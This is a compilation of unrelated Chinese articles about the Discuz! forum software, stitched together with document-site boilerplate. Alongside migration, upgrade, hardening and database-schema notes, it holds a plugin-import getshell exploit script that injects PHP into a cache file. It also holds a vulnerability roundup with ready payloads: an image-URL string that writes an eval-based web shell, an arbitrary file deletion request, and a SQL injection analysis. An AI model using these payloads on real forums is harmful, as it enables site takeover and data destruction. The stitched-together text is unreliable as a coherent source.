!is_array($pluginarray['plugin'])) {cpmsg(‘plugins_import_data_invalid’);} elseif(emptyempty($ignoreversion) &&strip_tags($pluginarray['version']) != strip_tags($version)) {cpmsg(‘plugins_import_version_invalid’);}$query = $db->query(“SELECT pluginid FROM {$tablepre}plugins WHEREidentifier=’{$pluginarray[plugin][identifier]}’ LIMIT 1″);//判断是否重复,直接入库if($db->num_rows($query)) {cpmsg(‘plugins_import_identifier_duplicated ’);}$sql1 = $sql2 = $comma = ”;foreach($pluginarray['plugin'] as $key => $val) {if($key == ‘directory’) {//compatible for old versions$val .= (!emptyempty($val) &&substr($val, -1) != ‘/’) ? ‘/’ : ”;}$sql1 .= $comma.$key;$sql2 .= $comma.’\”.$val.’\”;$comma = ‘,’;}$db->query(“INSERT INTO {$tablepre}plugins ($sql1) VALUES ($sql2)”);$pluginid = $db->insert_id();foreach(array(‘hooks’, ‘vars’) as $pluginconfig) {if(is_array($pluginarray[$pluginconfig])) { foreach($pluginarray[$pluginconfig]as $config) {$sql1 = ‘pluginid’;$sql2 =‘\”.$pluginid.’\”;foreach($config as $key => $val) {$sql1 .= ‘,’.$key;$sql2 .=‘,\”.$val.’\”;}$db->query(“INSERT INTO {$tablepre}plugin$pluginconfig ($sql1) VALUES ($sql2)”);}}}updatecache(‘plugins’);updatecache(‘settings’);cpmsg(‘plugins_import_succeed’,‘admincp.php?action=pluginsconfig’);}————-随便新建一个插件,identifier为shell,生成文件路径及内容.然后导出备用./forumdata/cache/plugin_shell.phpPHP代码<?php//Discuz! cache file, DO NOT modify me!//Created: Mar 17, 2011, 16:56//Identify: 7c0b5adeadf5a806292d45c64bd0659c$_DPLUGIN['shell'] = array (‘pluginid’ => ’11′,‘available’ => ’0′,‘adminid’ => ’0′,‘name’ => ‘Getshell’,‘identifier’ => ‘shell’,‘datatables’ => ”,‘directory’ => ”,‘copyright’ => ”,‘modules’ =>array (),‘vars’ =>array (),)?>———–我们可以输入任意数据,唯一要注意的是文件名的合法性.感谢微软,下面的文件名是合法的:forumdata/cache/plugin_a’]=phpinfo();$a['a.php PHP代码<?php//Discuz! cache file, DO NOT modify me!//Created: Mar 17, 2011, 16:56//Identify: 7c0b5adeadf5a806292d45c64bd0659c$_DPLUGIN['a']=phpinfo();$a['a'] = array (‘pluginid’ => ’11′,‘available’ => ’0′,‘adminid’ => ’0′,‘name’ => ‘Getshell’,‘identifier’ => ‘shell’,‘datatables’ => ”,‘directory’ => ”,‘copyright’ => ”,‘modules’ =>array (),‘vars’ =>array (),)?>————–最后是编码一次,给成Exp:PHP代码<?php$a =unserialize(base64_decode(“YToyOntzOjY6InBsdWdpbiI7YTo5OntzOjk6ImF2Y WlsYWJsZSI7czoxOiIwIjtzOjc6ImFkbWluaWQiO3M6MToiMCI7czo0OiJuYW1lIjtzOjg6IkdldHNoZWxsIjtzOjEwOiJpZGVudGlmaWVyIjtzOjU6IlNoZWxsIjtzOjExOiJkZXNj cmlwdGlvbiI7czowOiIiO3M6MTA6ImRhdGF0YWJsZXMiO3M6MDoiIjtzOjk6 ImRpcmVjdG9yeSI7czowOiIiO3M6OToiY29weXJpZ2h0IjtzOjA6IiI7czo3OiJtb2R1bGVzIjtzOjA6IiI7fXM6NzoidmVyc2lvbiI7czo1OiI2LjAuMCI7fQ==”));//print_r($a);$a['plugin']['name']=’GetShell’;$a['plugin']['identifier']=’a\’]=phpinfo();$a[\'';print(base64_encode(serialize($a)));?>7.0同理,大家可以自己去测试咯.如果你使用上面的代码,请勾选"允许导入不同版本 Discuz! 的插件"-------------------------------------------------------------------------------------二、Discuz! 7.2 和 Discuz! X1.5以下以7.2为例,/admin/plugins.inc.phpPHP代码elseif($operation == 'import') {if(!submitcheck('importsubmit') && !isset($dir)) {/*未提交前表单神马的*/} else {if(!isset($dir)) {//导入数据解码$pluginarray = getimportdata('Discuz!Plugin');} elseif(!isset($installtype)) {/*省略一部分*/}//判定你妹啊,两遍啊两遍if(!ispluginkey($pluginarray['plugin']['identifier'])) {cpmsg(‘plugins_edit_identifier_invalid’, ”, ‘error’);}if(!ispluginkey($pluginarray['plugin']['identifier'])) {cpmsg(‘plugins_edit_identifier_invalid’, ”, ‘error’);}if(is_array($pluginarray['hooks'])) {foreach($pluginarray['hooks'] as $config) { if(!ispluginkey($config['title'])) {cpmsg(‘plugins_import_hooks_ title_invalid’, ”, ‘error’);}}}if(is_array($pluginarray['vars'])) {foreach($pluginarray['vars'] as $config) {if(!ispluginkey($config['variable'])) {cpmsg(‘plugins_import_var_in valid’, ”, ‘error’);}}}$langexists = FALSE;//你有张良计,我有过墙梯if(!emptyempty($pluginarray['language'])) {@mkdir(‘./forumdata/plugins/’, 0777);$file =DISCUZ_ROOT.’./forumdata/plugins/’.$pluginarray['plugin']['identifier'].’.lang.php’;if($fp = @fopen($file, ‘wb’)) {$scriptlangstr= !emptyempty($pluginarray['language']['scriptlang']) ?“\$scriptlang['".$pluginarray['plugin']['id entifier'].”‘] =“.langeval($pluginarray['language']['scriptlang']) : ”;$templatelangstr= !emptyempty($pluginarray['language']['templatelang']) ?“\$templatelang['".$pluginarray['plugin']['identifier'].”‘] =“.langeval($pluginarray['language']['templatelang']) : ”;$installlangstr= !emptyempty($pluginarray['language']['installlang']) ?“\$installlang['".$pluginarray['plugin']['identifier'].”‘] =“.langeval($pluginarray['language']['installlang']) : ”;fwrite($fp,“<?php\n”.$scriptlangstr.$templatelangstr.$installlangstr.’?>’); fclose($fp);}$langexists = TRUE;}/*处理神马的*/updatecache(‘plugins’);updatecache(‘settings’);updatemenu();/*省略部分代码*/}———————–先看导入数据的过程,Discuz! 7.2之后的导入数据使用XML,但是7.2保持了向下兼容.X1.5废弃了.PHP代码function getimportdata($name = ”, $addslashes = 1, $ignoreerror = 0) { if($GLOBALS['importtype'] == ‘file’) {$data = @implode(”,file($_FILES['importfile']['tmp_name']));@unlink($_FILES['importfile']['tmp_name']);} else {$data = $_POST['importtxt'] && MAGIC_QUOTES_GPC ? stripslashes($_POST['importtxt']) : $GLOBALS['importtxt'];}include_once DISCUZ_ROOT.’./include/xml.class.php’;$xmldata = xml2array($data);if(!is_array($xmldata) || !$xmldata) {//向下兼容if($name && !strexists($data, ‘# ‘.$name)) {if(!$ignoreerror) {cpmsg(‘import_data_typeinvalid’, ”, ‘error’);} else {return array();}}$data = preg_replace(“/(#.*\s+)*/”, ”, $data);$data = unserialize(base64_decode($data));if(!is_array($data) || !$data) {if(!$ignoreerror) {cpmsg(‘import_data_invalid’, ”,‘error’);} else {return array();}}} else {//XML解析if($name && $name != $xmldata['Title']) {if(!$ignoreerror) {cpmsg(‘import_data_typeinvalid’, ”, ‘error’);} else {return array();}}$data = exportarray($xmldata['Data'], 0);}if($addslashes) {//daddslashes在两个版本的处理导致了Exp不能通用.$data = daddslashes($data, 1);}return $data;}——————判定了identifier之后,7.0版本之前的漏洞就不存在了.但是它又加入了语言包。
DISCUZ!修改数据库连接文件配置方法
DISCUZ!修改数据库连接⽂件配置⽅法我们迁移discuz7.2论坛,导⼊mysql数据库后,使⽤⽂本编辑器editplus打开根⽬录下config.inc.php和uc_server/data/config.inc.php 两个⽂件替换mysql数据库信息时,要修改三处:根⽬录下config.inc.php第⼀处在14⾏到17⾏如下:// [CH] 以下变量请根据空间商提供的账号参数修改,如有疑问,请联系服务器提供商$dbhost = ‘localhost’; // 数据库服务器$dbuser = ‘数据库访问⽤户名’; // 数据库⽤户名$dbpw = ‘你的数据库密码’; // 数据库密码$dbname = ‘数据库名称’; // 数据库名$pconnect = 0; // 数据库持久连接 0=关闭, 1=打开第⼆处在70⾏到结尾,如下:// ============================================================================define(‘UC_CONNECT’, ‘mysql’);define(‘UC_DBHOST’, ‘localhost’);define(‘UC_DBUSER’, ‘数据库访问⽤户名‘);define(‘UC_DBPW’, ‘数据库密码‘);define(‘UC_DBNAME’, ‘数据库名称‘);define(‘UC_DBCHARSET’, ‘gbk’);define(‘UC_DBTABLEPRE’, ‘`数据库名称`.uc_’);define(‘UC_DBCONNECT’, ’0′);define(‘UC_KEY’, ‘Md85Kcg260QbH9w2rcaecfGa27baEbk2p7Tb25W4ie52H130ncvcY9u7y587Mf4b’);define(‘UC_API’, ‘http://www.你的域名/ucenter安装⽬录‘);define(‘UC_CHARSET’, ‘gbk’);define(‘UC_IP’, ‘空间IP地址‘);define(‘UC_APPID’, ’2′);define(‘UC_PPP’, ’20′);uc_server/data/config.inc.php第三处如下:define('UC_DBHOST', 'localhost');define('UC_DBUSER', '数据库访问⽤户名');define('UC_DBPW', '数据库密码');define('UC_DBNAME', '数据库名称');define('UC_DBCHARSET', 'gbk');define('UC_DBTABLEPRE', 'cdb_uc_');请修改的时候务必注意修改这两处,否则将导致迁移discuz 7.2后⽆法登录论坛管理员后台。
Discuz!6.0.0论坛升级到DiscuzX3.1
Discuz6.0.0_GBK到DiscuzX3.1_UTF8升级过程升级过程中所需要的程序包下载地址:整个升级过程步骤大致如下:一、Discuz6.0.0移植到新的服务器上,二、对Discuz6.0.0数据库进行整理,三、Discuz6.0.0_GBK转换成Discuz6.0.0_UTF8,四、Discuz6.0.0升级到Discuz7.0.0_FULL,五、Discuz7.0.0_FULL升级到Discuz7.2_FULL,六、UCenter1.5.1升级到UCenter1.6.0,七、全新安装DiscuzX2.0,Discuz7.2_FULL数据库转换成DiscuzX2.0,八、DiscuzX2.0升级到DiscuzX3.1或DiscuzX3.2。
所有升级测试过程均在-台虚拟机上进行,虚拟机选用Vmware Workstation,主机配置好LAMP 环境(CentOS6.5,Apache2.2,MySQL5.5,PHP5.4)。
主机IP地址:192.168.3.76,域名:(自定义的域名,客户机要在hosts文件中做域名解析)。
网站使用apache虚拟主机方式,网站根目录为/data/web/bbs/一、移植原Discuz!6.0.0论坛数据到新的服务器上,并调试可以运行。
1、将原Discuz!6.0.0论坛数据库和全部文件备份打包。
2、Discuz!6.0.0论坛在Liunx服务器上重新搭建A:上传Discuz_6.0.0_SC_GBK.zip原始版程序文件;上传原论坛数据库;上传原论坛附件文件;(将原论坛的连接配置文件config.inc.php和数据库备份文件放到服务器/discuzbbs目录下,附件放在/discuzbbs/oldimg目录下)I:对移植后的论坛进行注册用户,发贴,发图等相关测试。
二、对Discuz6.0.0数据库进行整理(可选)根据论坛使用情况,进行相关清理工作,删除用户,删除帖子等,完成后更新论坛统计三、Discuz6.0.0_GBK转换成Discuz6.0.0_UTF8,A:程序移植工作2、进入您原来的论坛,关闭您的站点。
在Discuz!中锁定用户发帖为高级模式
在Discuz!中锁定用户发帖为高级模式
最近总有朋友问我同一个问题:如何才能让discuz 7.2 发帖和回复的时候直接采用高级模式,而不是默认是那个弹窗模式,如下图所示:
如果站长采用默认安装方法的话,安装完成后用户发帖和回帖都是先显示这个窗口,需要点击那个“高级模式”,然后才能到那个完整编辑器的界面,如下图所示:
那么,问题已经描述出来了,该如何解决呢?其实非常简单,只需要设置一下就搞定,完整步骤如下:
1. 用管理员的帐号登陆论坛的后台。
2. 进入后台后选择“界面”菜单,然后把鼠标往下拉,找到“启用浮动窗口”这栏,如下图所示:
3. 把“发帖”和“回帖”前面的勾去掉,然后拉到最下面找到“提交”按钮,点击“提交”,这次任务就大功告成了。
X3.2改到界面设置中的全局里了。
应用安全-CMS-Discuz漏洞汇总
应⽤安全-CMS-Discuz漏洞汇总Discuz ML! V3.X 代码注⼊Date2019类型代码注⼊导致RCE影响范围Discuz!ML v.3.4、Discuz!ML v.3.2、Discuz!ML v.3.3 product of poc_language=sc'.phpinfo().';SSV-90861Date:2012类型:敏感信息泄露影响范围:DZ x2.5POC:http://www.xx.xx/uc_server/control/admin/db.phphttp://www.xx.xx/source/plugin/myrepeats/table/table_myrepeats.phphttp://www.xx.xx/install/include/install_lang.phpDiscuz! X2.5 远程代码执⾏Date:2012类型:RCE前置条件:(1).注册任意账户(2).登陆⽤户,发表blog⽇志(注意是⽇志)(3).添加图⽚,选择⽹络图⽚,地址{${fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}}(4).访问⽇志,论坛根⽬录下⽣成demo.php,⼀句发密码c影响范围:v2.5Discuz!X2/2.5弱⼝令破解漏洞Date:2013类型:登录界⾯暴⼒破解影响范围:Discuz!X2/2.5ssvid-93588Date:2014类型:任意⽂件删除前置条件:(1)登陆DZ前台(2)请求:home.php?mod=spacecp&ac=profile&op=basePOST birthprovince=../../../test.txt&profilesubmit=1&formhash=b644603b修改成功之后出⽣地就会变为../../../test.txt(3)构造请求向home.php?mod=spacecp&ac=profile&op=base上传⽂件(普通图⽚即可)请求后⽂件被删除影响范围:version<=3.4SSV-96608Date:2014.10类型:前台任意⽂件删除影响范围:SSV-89024Date:2015.1类型:Discuz X2.5 /source/class/class_image.php 命令执⾏漏洞影响范围:Discuz X2.5Discuz! X系列远程代码执⾏漏洞Date:2015.8类型:RCE + XML反序列化前置条件:访问:/api/uc.php影响范围:SSV-91183Date:2016.3类型:SSRF影响范围:Discuz! X2 X3POC:/archives/6068.html?mipCVE-2018-14729Date:2018.8类型:远程代码执⾏前置条件:登录后台影响范围:Discuz! 1.5-2.5DiscuzDiscuz!X ≤3.4任意⽂件删除漏洞分析Discuz!7.2/X1 第三⽅插件SQL注⼊及持久型XSS漏洞SQL注⼊及跨站脚本漏洞。
Discuz! 7.2 注入漏洞分析与利用
Discuz! 7.2 注入漏洞分析与利用在最新的discuz! 7.2中自带了一个新的应用程序插件manyou。
恰恰在这个新插件中,没有对传入的参数进行检查,在GPC为off的情况下,导致注入漏洞的产生。
漏洞分析:文件./manyou/sources/notice.php相关代码:if($option == 'del') {$appid = intval($_GET['appid']);$db->query("DELETE FROM {$tablepre}myinvite WHERE appid='$appid' AND touid='$discuz_uid'");showmessage('manyou:done', 'userapp.php?script=notice&action=invite'); } elseif($option == 'deluserapp') {$hash = trim($_GET['hash']); //此处并没有进行过滤,直接导致注入的产生if($action == 'invite') {$query = $db->query("SELECT * FROM {$tablepre}myinvite WHEREhash='$hash' AND touid='$discuz_uid'");if($value = $db->fetch_array($query)) {$db->query("DELETE FROM {$tablepre}myinvite WHERE hash='$hash' AND touid='$discuz_uid'");showmessage('manyou:done', 'userapp.php?script=notice&action=invite'); } else {showmessage('manyou:noperm');}} else {$db->query("DELETE FROM {$tablepre}mynotice WHERE id='$hash' ANDuid='$discuz_uid'");showmessage('manyou:done', 'userapp.php?script=notice');}}很简单的一个漏洞。
Discuz论坛安全加固浅析WEB安全-电脑资料
Discuz论坛安全加固浅析WEB安全-电脑资料Discuz! 论坛以其功能完善、效率高效、负载能力,深受被大多数的网站喜爱和青睐,。
无独有隅,笔者所维护的论坛就是用discuz! 来构建的,从接手时候的7.2到现在x2.0,经历了数次的二次开发和发布,感触颇多。
言归正传,本篇主要从nginx 安全加固、discuz 文件目录、mysql 用户权限等方面来阐述discuz论坛安全加固,希望给大家一点灵感。
1.Nginx安全加固作为web的前端,在上面加强安全防护,效率比php要高多了。
针对discuz! X2.0论坛nginx安全加固如下:location ~*^/(data|images|config|static|source)/.*\\.(php|php5)$ { denyall; }意思是data images config static source等目录及其所有的php不能从web访问,这样避免在上传上面的目录上传的木马无法运行,返回403错误。
当然最直接的方法就是先将所有的文件禁止运行,然后加入需要放开的php和目录,这样做起最直接,而且最彻底。
例如:(只是举个例子而已,千万不要直接拿到自己的生产环境去!否则,你会哭的。
)location ~ (index|forumn|api|home|).*\\.(php)?$ { allow all; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; include fcgi.conf;}2.discuz目录加固不要听信网上所有将目录设置为777,这样的话,任何用户都已对目录可写可执行。
正确的做法如下:1)运行 nginx 和php 的用户应该这样来设置 useradd -g www-d /data0/htdocs -s /sbin/nologin www 意思:创建一个www用户根目录在/data0/htdocs 使用shell 是/sbin/nologin(不允许登录)2)针对discuz!X2.0目录权限可以设置:进入论坛根目录find source -type d -maxdepth 4 -exec chmod 555 \\ {};find api -type d -maxdepth 4 -exec chmod 555 \\ {};find static -type d -maxdepth 4 -exec chmod 555 \\ {};find archive -type d -maxdepth 4 -exec chmod 555 \\ {};find config-type d -maxdepth 4 -exec chmod 555 \\ {};find data- type d -maxdepth 4 -exec chmod 755 \\ {}; #data需要写缓存所以权限为755find template - type d -maxdepth 4 -exec chmod 555 \\ {};find uc_client - type d -maxdepth 4 -exec chmod 555 \\ {};3) 针对discuz!X2.0文件权限可以设置:进入论坛根目录find . - type f -maxdepth -exec chmod 444 \\ {};#设置论坛目录的文件只可读,然后设置那些需要写的文件,一般只有data下的文件是可以的,电脑资料《Discuz论坛安全加固浅析WEB安全》(https://www.)。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
discuz数据字典(一) cdb_access 用户版块权限表表说明:设置某一用户对某一版块的用户权限。
字段类型 Null 默认注释uid mediumint(8) 否 0 关联主键,特殊用户的UIDfid smallint(6) 否 0 关联主键,版块的FIDallowview tinyint(1) 否 0 浏览版块许可allowpost tinyint(1) 否 0 发新话题许可allowreply tinyint(1) 否 0 发表回复许可allowgetattach tinyint(1) 否 0 下载/查看附件许可allowpostattach tinyint(1) 否 0 上传附件许可cdb_activities活动表表说明:记录活动主题的活动相关数据。
字段类型 Null 默认注释tid mediumint(8) 否 0 主键,活动主题的TIDuid mediumint(8) 否 0 索引,发布活动者UIDcost mediumint(8) 否 0 每人花销starttimefrom int(10) 否 0 开始时间(起始点)starttimeto int(10) 否 0 开始时间(终止点,如确定开始时间则为0)place char(40) 否活动地点class char(20) 否活动类别gender tinyint(1) 否 0 性别要求(0=不限,1=男,2=女)number smallint(5) 否 0 需要人数expiration int(10) 否 0 征集截止日期cdb_activityapplies活动申请表表说明:记录参与活动主题的申请数据。
字段类型 Null 默认注释applyid int(10) 否主键,活动申请编号,自增tid mediumint(8) 否 0 索引,活动主题的TIDusername char(15) 否申请者的用户名uid mediumint(8) 否 0 索引,申请者的UIDmessage char(200) 否申请者留言verified tinyint(1) 否 0 审核dateline int(10) 否 0 索引,申请时间payment mediumint(8) 否 0 申请者支付费用contact char(200) 否申请者联系方式cdb_adminactions关联管理员权限表表说明:当特殊用户组管理权限关联为管理员时,记录该组无权使用的功能。
字段类型 Null 默认注释admingid smallint(6) 否 0 主键,关联为管理员的用户组GID disabledactions text 否关联后的受限功能cdb_admingroups管理组表表说明:记录管理组的管理权限。
字段类型 Null 默认注释admingid smallint(6) 否 0 主键,管理组GIDalloweditpost tinyint(1) 否 0 允许编辑帖子alloweditpoll tinyint(1) 否 0 允许编辑投票allowstickthread tinyint(1) 否 0 允许置顶帖子(最高置顶等级)allowmodpost tinyint(1) 否 0 允许审核帖子allowdelpost tinyint(1) 否 0 允许删除帖子allowmassprune tinyint(1) 否 0 允许批量删贴allowrefund tinyint(1) 否 0 允许强制退款allowcensorword tinyint(1) 否 0 允许过滤词语allowviewip tinyint(1) 否 0 允许查看IPallowbanip tinyint(1) 否 0 允许禁止IPallowedituser tinyint(1) 否 0 允许编辑用户allowmoduser tinyint(1) 否 0 允许审核用户allowbanuser tinyint(1) 否 0 允许禁止用户allowpostannounce tinyint(1) 否 0 允许发布公告allowviewlog tinyint(1) 否 0 允许查看记录allowbanpost tinyint(1) 否 0 允许屏蔽帖子disablepostctrl tinyint(1) 否 0 发帖不受限制supe_allowpushthread tinyint(1) 否 0 允许推送主题到SS cdb_adminnotes后台管理公告表表说明:记录后台管理公告。
字段类型 Null 默认注释id mediumint(8) 否主键,后台管理公告编号,自增admin varchar(15) 否公告发布者用户名access tinyint(3) 否 0 公告查看权限级别adminid tinyint(3) 否 0 公告发布者UIDdateline int(10) 否 0 公告发布时间expiration int(10) 否 0 公告有效期message text 否公告内容cdb_adminsessions后台会话表表说明:记录后台会话。
字段类型 Null 默认注释uid mediumint(8) 否 0 登录后台用户UIDip char(15) 否登录者IPdateline int(10) 否 0 最后活动时间errorcount tinyint(1) 否 0 登录密码错误计数cdb_advertisements广告表表说明:记录广告相关信息,广告参数为不同类型广告设置的参数及内容的serialize 值,广告代码为根据广告参数生成的HTML。
字段类型 Null 默认注释advid mediumint(8) 否主键,广告编号,自增available tinyint(1) 否 0 广告可用type varchar(50) 否 0 广告类型displayorder tinyint(3) 否 0 广告显示顺序title varchar(50) 否广告标题targets text 否广告投放范围parameters text 否广告参数code text 否广告代码starttime int(10) 否 0 广告起始时间endtime int(10) 否 0 广告起始时间cdb_announcements公告表表说明:记录论坛公告信息。
字段类型 Null 默认注释id smallint(6) 否主键,公告编号,自增author varchar(15) 否公告发布者用户名subject varchar(250) 否公告标题type tinyint(1) 否 0 公告类型(0=文字 1=链接 2=消息)displayorder tinyint(3) 否 0 公告显示顺序starttime int(10) 否 0 公告起始时间endtime int(10) 否 0 公告终止时间message text 否公告内容groups text 否公告受众用户组cdb_attachments附件表表说明:记录帖子附件信息,filetype会因浏览器不同有所区别,filesize为服务器实际保存的文件大小。
字段类型 Null 默认注释aid mediumint(8) 否主键,附件编号,自增tid mediumint(8) 否 0 索引,附件所在主题TIDpid int(10) 否 0 索引,附件所在帖子PIDdateline int(10) 否 0 附件发布时间readperm tinyint(3) 否 0 附件阅读权限price smallint(6) 否 0 附件售价filename char(100) 否附件文件名description char(100) 否附件简介filetype char(50) 否附件文件类型(MIME Content-Type)filesize int(10) 否 0 附件文件大小(字节)attachment char(100) 否附件URLdownloads mediumint(8) 否 0 附件下载次数isimage tinyint(1) 否 0 图片附件uid mediumint(8) 否 0 索引,附件上传者UIDthumb tinyint(1) 否 0 生成缩略图remote tinyint(1) 否 0 远程附件cdb_attachpaymentlog附件付费记录表表说明:记录帖子附件下载付费信息。
字段类型 Null 默认注释uid mediumint(8) 否 0 关联主键,下载付费用户的UIDaid mediumint(8) 否 0 关联主键,索引,被下载附件的AID authorid mediumint(8) 否 0 索引,附件上传者UID dateline int(10) 否 0 付费时间amount int(10) 否 0 付费总金额netamount int(10) 否 0 税后金额cdb_attachtypes附件类型表表说明:记录允许使用的附件类型信息。
字段类型 Null 默认注释id smallint(6) 否主键,附件类型编号,自增extension char(12) 否附件类型扩展名maxsize int(10) 否 0 附件最大尺寸cdb_banned禁止IP表表说明:记录禁止IP操作信息。
字段类型 Null 默认注释id smallint(6) 否主键,禁止IP操作编号,自增ip1 smallint(3) 否 0 ip字段1ip2 smallint(3) 否 0 ip字段2ip3 smallint(3) 否 0 ip字段3ip4 smallint(3) 否 0 ip字段4admin varchar(15) 否操作者用户名dateline int(10) 否 0 操作时间expiration int(10) 否 0 禁止有效期cdb_bbcodes 自定义代码表表说明:记录自定义Discuz!代码信息。
字段类型 Null 默认注释id mediumint(8) 否主键,代码编号,自增available tinyint(1) 否 0 代码可用tag varchar(100) 否代码标签icon varchar(255) 否代码图标文件replacement text 否代码替换内容example varchar(255) 否代码例子explanation text 否代码解释params tinyint(1) 否 1 代码参数个数prompt text 否代码参数提示语nest tinyint(3) 否 1 代码嵌套次数cdb_buddys好友表表说明:记录用户好友信息。
字段类型 Null 默认注释uid mediumint(8) 否 0 索引,添加好友者UID buddyid mediumint(8) 否 0 好友UIDgrade tinyint(3) 否 1 好友等级(SS相关)dateline int(10) 否 0 添加好友时间description char(255) 否好友备注cdb_caches缓存数据表表说明:记录缓存更新数据。